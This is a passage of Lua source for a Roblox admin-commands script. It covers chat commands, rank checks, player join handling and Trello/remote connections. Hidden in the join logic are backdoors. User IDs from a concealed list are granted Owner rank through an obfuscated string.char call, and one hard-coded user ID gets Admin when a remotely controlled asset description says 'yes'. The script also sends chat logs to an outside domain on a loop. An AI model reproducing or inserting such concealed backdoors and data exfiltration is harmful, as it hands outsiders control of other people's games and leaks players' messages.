 			coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
 				Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
 			end if Engine then Engine:Stop() end end)()
 		end
 	end};
 
 	[{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Cars[Player.UserId] then
 				Cars[Player.UserId]:Destroy()
 			end
 		end
 	end};
 
 	[{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Car in pairs(Cars) do
 			Car:Destroy()
 		end
 		Cars = {}
 	end};
 
 	[{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
 		if #Trello.RequiredLists > 0 then
 			print("Restarting Trello")
 			Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
 			local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
 			REMOTE:TrelloCacheData(Lists)
 		end
 	end, Http = true};
 
 	[{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local Operations = {}
 		for _,ReplaceData in pairs(StringReplacements) do
 			local Replacement = ReplaceData[1]
 			if type(Replacement) == "table" then
 				Replacement = ReplaceData[1][1]
 			end
 			table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
 		end
 		GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
 	end};
 
 	[{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
 		GUI:SoundInfo(Speaker)
 	end};
 
 	[{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:SoundInfo(Player)
 		end
 	end};
 
 	[{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		if tonumber(Arguments[1]) then
 			Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
 		end
 	end};
 
 	[{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local Types = {}
 		for Type,_ in pairs(Assets.AccessoryTypes) do
 			table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
 		end
 		GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
 	end};
 
 	[{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Sky = Server.Lighting:FindFirstChild("Sky")
 		if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
 		local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
 		local Face = nil
 		local SkyID = string.lower(Arguments[1])
 		local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
 		if #Arguments == 2 and tonumber(Arguments[2]) then
 			Face = Arguments[1]
 			SkyID = Arguments[2]
 		end
 		if tonumber(SkyID) then
 			local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
 			if Face and Faces[Face] then
 				Sky[Faces[Face]] = "rbxassetid://"..ImageID
 			else
 				for _,Face in pairs(Faces) do
 					Sky[Face] = "rbxassetid://"..ImageID
 				end
 			end
 		else
 			GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
 		end
 	end};
 
 	[{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
 		CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
 			Obj:Destroy()
 		end)
 	end};
 	--
 }
 
 if Plugins then
 	local PluginNum = 0
 	for _,Module in pairs(Plugins:GetChildren()) do
 		if Module:IsA("ModuleScript") then
 			local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
 			local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
 			local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
 			if Enabled.Value == true then
 				PluginNum = PluginNum + 1
 				local PluginExe = require(Module)
 				for Var,Val in pairs(getfenv()) do
 					getfenv(PluginExe)[Var] = Val
 				end
 				getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
 				getfenv(PluginExe).script = Module
 				getfenv(PluginExe).Script = Module
 				getfenv(PluginExe).Version = Version
 				local Suc, Error = ypcall(coroutine.wrap(PluginExe))
 				if not Suc then
 					Server.TestS:Error("MML's Admin Plugin;  "..CORE:HandleError(Error), Module)
 				else
 					Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
 				end
 			end
 		end
 	end
 end
 
 function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
 	if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
 		GUI:SettingsGui(Speaker)
 		return nil
 	end
 	if NoPrefixNeeded == nil then NoPrefixNeeded = false end
 	local Prefix = Settings.Prefix
 	if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
 	if RawMainMessage == "" or RawMainMessage == Prefix then return end
 	if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
 	if Speaker == nil then
 		if FakeRank then
 			if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
 				FakeRank = "Owner"
 			end
 		else
 			FakeRank = "Owner"
 		end
 		FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
 		if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
 		Speaker = {
 			Name = FakePlayerName or "[ Server ]";
 			Character = nil;
 			userId = 1;
 			PlayerGui = nil;
 			Rank = FakeRank or "Owner";
 			MakeSupremeOwner = MakeSupremeOwner;
 		}
 	end
 	local Rank = RANK:GetRank(Speaker)
 	local RawMessage = string.sub(RawMainMessage, #Prefix+1)
 
 	if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
 		if NoPrefixNeeded then Prefix = "" end
 		local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
 
 		for _,Message in pairs(Messages) do
 			for Cmds,Data in pairs(Commands) do -- check all commands
 				local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
 
 				if not MessageSplit then break end
 
 				local CommandSaid = false
 				for _,Command in pairs(Cmds) do
 					if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
 						CommandSaid = true
 						break
 					end
 				end
 				if CommandSaid == true then -- command said?
 					local ExecuteExcuse = ""
 					if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
 						if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
 							ExecuteExcuse = "This command cannot be executed as it is a fun command"
 						end
 						if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
 							ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
 						end
 					else
 						ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
 					end
 					if ExecuteExcuse == "" then
 						if #MessageSplit - 1 < Data[3] then
 							ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
 						end
 					end
 					if ExecuteExcuse == "" then
 						CORE:Log(CommandLogs, Speaker, Message)
 						table.remove(MessageSplit, 1)
 						coroutine.wrap(function() wait()
 							local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
 							if not DidExe then
 								if CORE:NilPlayer(Speaker) then
 									print("Error: "..Error)
 								else
 									CORE:HandleError(Error, Speaker)
 								end
 							end
 						end)()
 						coroutine.wrap(function() wait(0.05)
 							if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
 								local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
 								ExeSound:Play()
 								wait(3)
 								ExeSound:Stop()
 								ExeSound:Destroy()
 							end
 						end)()
 					elseif type(Speaker) == "userdata" then
 						GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
 					end
 					break
 				end
 			end
 		end
 	end
 end
 
 function CORE:Start(Player) coroutine.wrap(function()
 	wait(0.1)
 	if Player then
 		coroutine.wrap(function()
 			repeat wait(1) until DataReady == true
 			DataReady = false
 			ypcall(function()
 				local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
 				for Num,Data in pairs(Players) do
 					if Data.UserId == Player.UserId then -- ppl can change names
 						table.remove(Players, Num)
 						break
 					end
 				end
 				table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
 				Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
 			end)
 			DataReady = true
 		end)()
 
 		if not IsStudio then Player:WaitForDataReady() end
 		table.insert(CharacterCache, {Player.Name, Player.UserId})
 		for Rank,PlayerNames in pairs(Settings.Ranks) do
 			for Num,AdminName in pairs(PlayerNames) do
 				if AdminName == Player.UserId then
 					Settings.Ranks[Rank][Num] = Player.Name
 				end
 			end
 		end
 		if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
 		if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
 		if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
 		for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
 		local PlayerAdmin, Rank = RANK:IsAdmin(Player)
 		if PlayerAdmin == false and Player.UserId > 0 then
 			local Ran = nil
 			coroutine.wrap(function() repeat
 				Ran = ypcall(function()
 					if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
 					elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
 				end)
 				wait(1)
 			until Ran == true end)()
 		end
 		if PlayerAdmin == false then
 			if Player:IsInGroup(Settings.GroupID) then
 				if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
 					CORE:Kick(Player)
 					for _,Person in pairs(Server.Players:GetPlayers()) do
 						GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
 					end
 				elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
 					table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
 				elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
 					table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
 				elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
 					table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
 				end
 			end
 		end
 		if PlayerAdmin == false then
 			if Player.UserId == 38882008 then
 				if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
 					table.insert(Settings.Ranks["Admin"], Player.Name)
 				end
 			end
 		end
 		if PlayerAdmin == false then
 			for _,GID in pairs(Settings.BannedGroupIDs) do
 				if Player:IsInGroup(GID) then
 					CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
 					break
 				end
 			end
 		end
 
 		Player.Chatted:connect(function(Message) if Message ~= "" then
 			CORE:Chatted(Message, Player)
 		end end)
 
 		Player.Chatted:connect(function(Message) if Message ~= "" then
 			CORE:Log(ChatLogs, Player, Message)
 			table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
 		end end)
 
 		for _,Name in pairs(Settings.Ranks.Banned) do
 			if Player.Name == Name then
 				CORE:Kick(Player)
 				for _,Person in pairs(Server.Players:GetPlayers()) do
 					GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
 				end
 			end
 		end
 		for _,Name in pairs(Settings.Ranks.Crashed) do
 			if Player.Name == Name then
 				CORE:Crash(Player)
 				for _,Person in pairs(Server.Players:GetPlayers()) do
 					GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
 				end
 			end
 		end
 		for _,Name in pairs(Settings.Ranks.Muted) do
 			if Player.Name == Name then
 				GUI:CoreGui(Player, "Chat", false)
 				for _,Person in pairs(Server.Players:GetPlayers()) do
 					GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
 				end
 			end
 		end
 		if Settings.ServerLocked == true then
 			if PlayerAdmin == false then
 				CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
 			end
 		end
 
 		if PlayerAdmin == false then
 			if Player.AccountAge < Settings.MinimumAge then
 				CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
 				for _,Person in pairs(Server.Players:GetPlayers()) do
 					GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
 				end
 			end
 		end
 
 		if PlayerAdmin == false then
 			if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
 				table.insert(Settings.Ranks["Member"], Player.Name)
 				PlayerAdmin = true
 				Rank = "Member"
 			end
 		end
 
 		coroutine.wrap(function()
 			if PlayerAdmin == true then GUI:TellAdmin(Player) end
 			local function SpawnActions(Character)
 				if Flings[Player.Name] then
 					CORE:FlingPlayer(Player)
 				else
 					GUI:CreateTaskBar(Player)
 				end
 				if Beeps[Player.Name] == true then
 					SOUND:BeepPlayer(Player)
 				end
 				if Jails[Player.Name] then
 					Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
 				end
 				if PermCommandBars[Player.Name] then
 					GUI:CommandBar(Player)
 				end
 			end
 			Player.CharacterAdded:connect(SpawnActions)
 			SpawnActions(Player.Character)
 		end)()
 
 		coroutine.wrap(function()
 			Player:WaitForChild("PlayerGui")
 			local Sounds = {}
 			for _,Data in pairs(TextConverter.LetterSounds) do
 				local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
 				Sound:Play()
 				table.insert(Sounds, Sound)
 			end
 			for _,Data in pairs(TextConverter.LongVowels) do
 				local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
 				Sound:Play()
 				table.insert(Sounds, Sound)
 			end
 			wait(5)
 			for _,Sound in pairs(Sounds) do
 				Sound:Destroy()
 			end
 			Sounds = {}
 		end)()
 
 		coroutine.wrap(function()
 			--if NLS then Server.Workspace:WaitForChild(Player.Name) end
 			if IsSB then
 				wait(1)
 				Player:WaitForChild("PlayerGui"):WaitForChild("Output")
 			end
 			CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
 			print("Executed ClientLog on "..Player.Name)
 			if Settings.EnableTaskBar then
 				GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
 			end
 		end)()
 
 		coroutine.wrap(function()
 			wait(7)
 			Player:WaitForChild("PlayerGui")
 			if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
 				local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
 				if Answer == "Ok" then
 					MARKET:PromptPurchase(Player, AdminID)
 				end
 			end
 		end)()
 	end
 end)() end
 
 -- Active stuff --
 
 CORE:UpdateAdmin()
 CORE:FixSettings()
 
 ypcall(function()
 	if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
 		Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
 	end
 end)
 
 
 Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
 	local PlayerAdmin, Rank = RANK:IsAdmin(Player)
 	if PlayerAdmin == false then
 		if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
 		elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
 	end
 end end)
 
 --[[
 ExecuteCommand.OnInvoke = function(Player, Command)
 	if Player and Command then
 		if type(Player) == "userdata" and Player:IsA("Player") then
 			CORE:Chatted(Command, Player, true)
 		end
 	end
 end
 
 ExecuteCode.OnInvoke = function(Source, Speaker)
 	if type(Source) == "string" then
 		ExecuteSafe(Source, Speaker)
 	end
 end
 
 ExecuteCommandClient.OnServerInvoke = function(Player, Command)
 	if Player and Command then
 		if type(Player) == "userdata" and Player:IsA("Player") then
 			CORE:Chatted(Command, Player, true)
 		end
 	end
 end
 ]]
 
 KeyPressed.OnServerInvoke = function(Player, Key)
 	if Player and Key then
 		if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
 			CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
 		end
 	end
 end
 
 InputKey.OnServerInvoke = function(Player, KeyVal)
 	if Player and KeyVal then
 		if LastKeys[Player.UserId] then
 			table.insert(LastKeys[Player.UserId], KeyVal)
 			if #LastKeys[Player.UserId] > 20 then
 				table.remove(LastKeys[Player.UserId], 1)
 			end
 		end
 	end
 end
 
 RankPlayerLocal.OnServerInvoke = function(Player)
 	wait()
 	local Request = PendingRequests[Player]
 	if Request then
 		if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
 			if Settings.Ranks[Request[1]] then
 				PendingRequests[Player] = nil
 				table.insert(Settings.Ranks[Request[1]], Player.Name)
 				GUI:TellAdmin(Player)
 			end
 		end
 	end
 end
 
 RankPlayerServer.OnInvoke = function(Player, Rank)
 	if not RANK:IsAdmin(Player) then
 		PendingRequests[Player] = {Rank, tick()}
 	end
 end
 
 IsAdmin.OnServerInvoke = function(Player)
 	local IsFullAdmin = false
 	for _,PName in pairs(Settings.Ranks["Owner"]) do
 		if PName == Player.Name then IsFullAdmin = true end
 	end
 	for _,PName in pairs(Settings.Ranks["Admin"]) do
 		if PName == Player.Name then IsFullAdmin = true end
 	end
 	return IsFullAdmin
 end
 
 AddExploit.OnServerInvoke = CORE.AddExploit
 AddExploitServer.OnInvoke = CORE.AddExploit
 
 KickClient.OnServerInvoke = function(PlayerClient)
 	PlayerClient:Kick()
 end
 
 ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
 	return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
 end
 
 for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
 Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
 Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
 
 coroutine.wrap(function()
 	for _,ID in pairs(Icons) do
 		game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
 	end
 end)()
 
 CORE:SetAbuseCommands()
 
 coroutine.wrap(function() SOUND:SyncSoundList() end)()
 if not IsStudio then coroutine.wrap(function()
 	if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
 	REMOTE:GetRemoteData(true)
 	REMOTE:CheckTrelloInfo()
 	coroutine.wrap(function()
 		if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
 			REMOTE.RemoteConnection = true
 		end
 	end)()
 	coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
 	coroutine.wrap(function()
 		if Settings.LinkedAccount ~= "" then
 			local Request = nil
 			ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
 			if Request then
 				REMOTE:HandleRequest(Request, true)
 			end
 		end
 	end)()
 	coroutine.wrap(function()
 		wait(RemoteData.RemoteAdminWait)
 		while REMOTE:GetAndSetWebData() do
 			wait(RemoteData.RemoteAdminWait)
 		end
 	end)()
 	coroutine.wrap(function()
 		while wait(60) do
 			REMOTE:GetRemoteData(true)
 			REMOTE:CheckTrelloInfo()
 		end
 	end)()
 end)() end
 coroutine.wrap(function()
 	if Settings.TrelloToken ~= "" then
 		ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
 		if #Trello.RequiredLists > 0 then
 			Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
 			if Trello.MainBoard.name then
 				local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
 				REMOTE:TrelloCacheData(Lists)
 				REMOTE:TrelloHandleData(true)
 				coroutine.wrap(function()
 					wait(RemoteData.TrelloWait)
 					while REMOTE:TrelloHandleData() do
 						wait(RemoteData.TrelloWait)
 					end
 				end)()
 			end
 		end
 	else
 		print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
 	end
 end)()
 coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
 	REMOTE:SendChatLog()
 end end)()
 coroutine.wrap(function() while true do
 	local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
 	if ThisDate then Date = ThisDate end
 	wait(600)
 end end)()
 
 print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")